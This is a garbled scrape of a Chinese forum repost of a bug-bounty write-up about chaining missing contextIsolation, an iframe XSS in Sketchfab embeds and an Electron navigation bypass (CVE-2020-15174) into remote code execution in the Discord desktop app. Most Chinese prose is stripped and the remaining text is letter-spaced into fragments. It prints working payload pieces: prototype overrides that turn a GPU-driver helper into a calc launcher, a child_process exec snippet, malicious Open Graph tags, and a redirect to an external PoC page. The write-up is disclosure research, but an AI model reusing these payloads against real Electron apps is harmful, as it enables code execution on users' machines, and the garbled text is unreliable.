[16069] 2020-11-09_挖洞经验综合三个Bug实现Discord桌面应用RCE漏洞

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-18
2020-11-09_挖洞经验综合三个Bug实现Discord桌面应用RCE漏洞   |   B u g D i s c o r d R C E c l o u d s   F r e e B u f   2 0 2 0 - 1 1 - 0 9 D i s c o r d b u g D i s c o r d R C E $ 5 , 3 0 0 D i s c o r d   I M   D i s c o r d     W i n d o w s M a c O S A n d r o i d i O S W i n d o w s   P h o n e D i s c o r d E l e c t r o n A P P D i s c o r d E l e c t r o n D i s c o r d D i s c o r d D i s c o r d b u g R C E M i s s i n g   c o n t e x t I s o l a t i o n c o n t e x t I s o l a t i o n X S S   i n   i f r a m e   e m b e d s i f r a m e X S S N a v i g a t i o n     ( N a v i g a t i o n   r e s t r i c t i o n   b y p a s s , C V E - 2 0 2 0 - 1 5 1 7 4 ) c o n t e x t I s o l a t i o n M i s s i n g   c o n t e x t I s o l a t i o n E l e c t r o n B r o w s e r W i n d o w   A P I B r o w s e r W i n d o w   A P I E l e c t r o n r e n d e r e r J S R C E D i s c o r d E l e c t r o n E l e c t r o n J S J S A P P 使 n o d e I n t e g r a t i o n c o n t e x t I s o l a t i o n n o d e I n t e g r a t i o n f a l s e c o n t e x t I s o l a t i o n f a l s e n o d e I n t e g r a t i o n t r u e w e b J S r e q u i r e ( ) 使 N o d e . j s W i n d o w s c a l c . e x e D i s c o r d n o d e I n t e g r a t i o n f a l s e r e q u i r e ( ) 使 N o d e . j s 访 N o d e . j s D i s c o r d c o n t e x t I s o l a t i o n f a l s e R C E f a l s e c o n t e x t I s o l a t i o n f a l s e w e b J S E l e c t r o n J S E l e c t r o n J S W e b J S W e b J S E l e c t r o n J S A r r a y . p r o t o t y p e . j o i n W e b J S j o i n n o d e I n t e g r a t i o n E l e c t r o n W e b J S 使 N o d e . j s 使 n o d e I n t e g r a t i o n f a l s e R C E 便 2 0 1 6 C u r e 5 3 E l e c t r o n E l e c t r o n c o n t e x t I s o l a t i o n P D F c o n s t   m a i n W i n d o w O p t i o n s   =   {     t i t l e :   ' D i s c o r d ' ,     b a c k g r o u n d C o l o r :   g e t B a c k g r o u n d C o l o r ( ) ,     w i d t h :   D E F A U L T _ W I D T H ,     h e i g h t :   D E F A U L T _ H E I G H T ,     m i n W i d t h :   M I N _ W I D T H ,     m i n H e i g h t :   M I N _ H E I G H T ,     t r a n s p a r e n t :   f a l s e ,     f r a m e :   f a l s e ,     r e s i z a b l e :   t r u e ,     s h o w :   i s V i s i b l e ,     w e b P r e f e r e n c e s :   {         b l i n k F e a t u r e s :   ' E n u m e r a t e D e v i c e s , A u d i o O u t p u t D e v i c e s ' ,         n o d e I n t e g r a t i o n :   f a l s e ,         p r e l o a d :   _ p a t h 2 . d e f a u l t . j o i n ( _ _ d i r n a m e ,   ' m a i n S c r e e n P r e l o a d . j s ' ) ,         n a t i v e W i n d o w O p e n :   t r u e ,         e n a b l e R e m o t e M o d u l e :   f a l s e ,         s p e l l c h e c k :   t r u e     } } ; < s c r i p t >     r e q u i r e ( ' c h i l d _ p r o c e s s ' ) . e x e c ( ' c a l c ' ) ; < / s c r i p t >
h t t p s : / / d r i v e . g o o g l e . c o m / f i l e / d / 1 L S s D 9 g z O e j m Q 2 Q i p R e y M X w r _ M 0 M g 1 G M H / v i e w h t t p s : / / s p e a k e r d e c k . c o m / m a s a t o k i n u g a w a / e l e c t r o n - a b u s i n g - t h e - l a c k - o f - c o n t e x t - i s o l a t i o n - c u r e c o n - e n c o n t e x t I s o l a t i o n W e b W e b J S D i s c o r d f a l s e J S D i s c o r d E l e c t r o n J S E l e c t r o n   A P P E l e c t r o n R C E E l e c t r o n J S E l e c t r o n n a v i g a t i o n   t i m i n g R C E P o C E l e c t r o n 使 B r o w s e r W i n d o w D i s c o r d E l e c t r o n P o C D i s c o r d D i s c o r d N a t i v e . n a t i v e M o d u l e s . r e q u i r e M o d u l e ( M O D U L E - N A M E ) W e b c h i l d _ p r o c e s s R C E D i s c o r d   E l e c t r o n J S R C E P o C D i s c o r d   E l e c t r o n R e g E x p . p r o t o t y p e . t e s t A r r a y . p r o t o t y p e . j o i n d i s c o r d _ u t i l s g e t G P U D r i v e r V e r s i o n s c a l c . e x e g e t G P U D r i v e r V e r s i o n s e x e c a e x e c a n v i d i a S m i P a t h n v i d i a - s m i . e x e R e g E x p . p r o t o t y p e . t e s t     A r r a y . p r o t o t y p e . j o i n e x e c a n v i d i a S m i P a t h c a l c n v i d i a S m i P a t h J S h t t p s : / / g i t h u b . c o m / m o x y s t u d i o / n o d e - c r o s s - s p a w n / b l o b / 1 6 f e b 5 3 4 e 8 1 8 6 6 8 5 9 4 f d 5 3 0 b 1 1 3 a 0 2 8 c 0 c 0 6 b d d c / l i b / p a r s e . j s # L 3 6 h t t p s : / / g i t h u b . c o m / m o x y s t u d i o / n o d e - c r o s s - s p a w n / b l o b / 1 6 f e b 5 3 4 e 8 1 8 6 6 8 5 9 4 f d 5 3 0 b 1 1 3 a 0 2 8 c 0 c 0 6 b d d c / l i b / p a r s e . j s # L 5 5 n v i d i a - s m i . e x e c a l c J S R C E i f r a m e X S S X S S D i s c o r d   A P P a u t o l i n k M a r k d o w n D i s c o r d Y o u - t u b e   U R L M a r k d o w n i f r a m e v i d e o   p l a y e r D i s c o r d O p e n   G r a p h   P r o t o c o l O G P D i s c o r d U R L i f r a m e D i s c o r d U R L D i s c o r d i f r a m e C S P   f r a m e - s r c   线 C S P i f r a m e Y o u - T u b e ,   T w i t c h ,   S p o t i f y i f r a m e X S S s k e t c h f a b . c o m i f r a m e X S S D O M - b a s e d   X S S O G P P o C U R L D i s c o r d i f r a m e J S h t t p s : / / l 0 . c m / d i s c o r d _ r c e _ o g . h t m l X S S J S i f r a m e E l e c t r o n W e b J S i f r a m e 使 i f r a m e J S N o d e . j s R C E i f r a m e i f r a m e i f r a m e n a v i g a t i n g U R L R e g E x p . p r o t o t y p e . t e s t = f u n c t i o n ( ) {         r e t u r n   f a l s e ; } A r r a y . p r o t o t y p e . j o i n = f u n c t i o n ( ) {         r e t u r n   " c a l c " ; } D i s c o r d N a t i v e . n a t i v e M o d u l e s . r e q u i r e M o d u l e ( ' d i s c o r d _ u t i l s ' ) . g e t G P U D r i v e r V e r s i o n s ( ) ; m o d u l e . e x p o r t s . g e t G P U D r i v e r V e r s i o n s   =   a s y n c   ( )   = >   {     i f   ( p r o c e s s . p l a t f o r m   ! = =   ' w i n 3 2 ' )   {         r e t u r n   { } ;     }     c o n s t   r e s u l t   =   { } ;     c o n s t   n v i d i a S m i P a t h   =   ` $ { p r o c e s s . e n v [ ' P r o g r a m W 6 4 3 2 ' ] } / N V I D I A   C o r p o r a t i o n / N V S M I / n v i d i a - s m i . e x e ` ;     t r y   {         r e s u l t . n v i d i a   =   p a r s e N v i d i a S m i O u t p u t ( a w a i t   e x e c a ( n v i d i a S m i P a t h ,   [ ] ) ) ;     }   c a t c h   ( e )   {         r e s u l t . n v i d i a   =   { e r r o r :   e . t o S t r i n g ( ) } ;     }     r e t u r n   r e s u l t ; } ; C o n t e n t - S e c u r i t y - P o l i c y :   [ . . . ]   ;   f r a m e - s r c   h t t p s : / / * . y o u - t u b e . c o m   h t t p s : / / * . t w i t c h . t v   h t t p s : / / o p e n . s p o t i f y . c o m   h t t p s : / / w . s o u n d c l o u d . c o m   h t t p s : / / s k e t c h f a b . c o m   h t t p s : / / p l a y e r . v i m e o . c o m   h t t p s : / < h e a d >         < m e t a   c h a r s e t = " u t f - 8 " >         < m e t a   p r o p e r t y = " o g : t i t l e "   c o n t e n t = " R C E   D E M O " >         [ . . . ]         < m e t a   p r o p e r t y = " o g : v i d e o : u r l "   c o n t e n t = " h t t p s : / / s k e t c h f a b . c o m / m o d e l s / 2 b 1 9 8 2 0 9 4 6 6 d 4 3 3 2 8 1 6 9 d 2 d 1 4 a 4 3 9 2 b b / e m b e d " >         < m e t a   p r o p e r t y = " o g : v i d e o : t y p e "   c o n t e n t = " t e x t / h t m l " >         < m e t a   p r o p e r t y = " o g : v i d e o : w i d t h "   c o n t e n t = " 1 2 8 0 " >         < m e t a   p r o p e r t y = " o g : v i d e o : h e i g h t "   c o n t e n t = " 7 2 0 " > < / h e a d >
N a v i g a t i o n   r e s t r i c t i o n n e w - w i n d o w     w i l l - n a v i g a t e i f r a m e i f r a m e n a v i g a t i n g U R L N a v i g a t i o n   r e s t r i c t i o n   b y p a s s   ( C V E - 2 0 2 0 - 1 5 1 7 4 ) i f r a m e n a v i g a t i o n i f r a m e w i l l - n a v i g a t e p r e v e n t D e f a u l t ( ) E l e c t r o n t o p   n a v i g a t i o n w i l l - n a v i g a t e   i f r a m e i f r a m e w i l l - n a v i g a t e   B u g B u g X S S i f r a m e R C E   P a y l o a d t o p . l o c a t i o n = / / l 0 . c m / d i s c o r d _ c a l c . h t m l B u g D i s c o r d R C E P O C h t t p s : / / t i n y u r l . c o m / y 5 n x 6 z j y D i s c o r d D i s c o r d S k e t c h f a b i f r a m e c o n t e x t I s o l a t i o n $ 5 , 0 0 0 h t t p s : / / g i t h u b . c o m / e l e c t r o n / e l e c t r o n / s e c u r i t y / a d v i s o r i e s / G H S A - 2 q 4 g - w 4 7 c - 4 6 7 4 X S S S k e t c h f a b S k e t c h f a b $ 3 0 0 w i l l - n a v i g a t e B u g E l e c t r o n C V E - 2 0 2 0 - 1 5 1 7 4 h t t p s : / / m k s b e n . l 0 . c m / 2 0 2 0 / 1 0 / d i s c o r d - d e s k t o p - r c e . h t m l m a i n W i n d o w . w e b C o n t e n t s . o n ( ' n e w - w i n d o w ' ,   ( e ,   w i n d o w U R L ,   f r a m e N a m e ,   d i s p o s i t i o n ,   o p t i o n s )   = >   {     e . p r e v e n t D e f a u l t ( ) ;     i f   ( f r a m e N a m e . s t a r t s W i t h ( D I S C O R D _ N A M E S P A C E )   & &   w i n d o w U R L . s t a r t s W i t h ( W E B A P P _ E N D P O I N T ) )   {         p o p o u t W i n d o w s . o p e n O r F o c u s W i n d o w ( e ,   w i n d o w U R L ,   f r a m e N a m e ,   o p t i o n s ) ;     }   e l s e   {         _ e l e c t r o n . s h e l l . o p e n E x t e r n a l ( w i n d o w U R L ) ;     } } ) ; [ . . . ] m a i n W i n d o w . w e b C o n t e n t s . o n ( ' w i l l - n a v i g a t e ' ,   ( e v t ,   u r l )   = >   {     i f   ( ! i n s i d e A u t h F l o w   & &   ! u r l . s t a r t s W i t h ( W E B A P P _ E N D P O I N T ) )   {         e v t . p r e v e n t D e f a u l t ( ) ;     } } ) ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则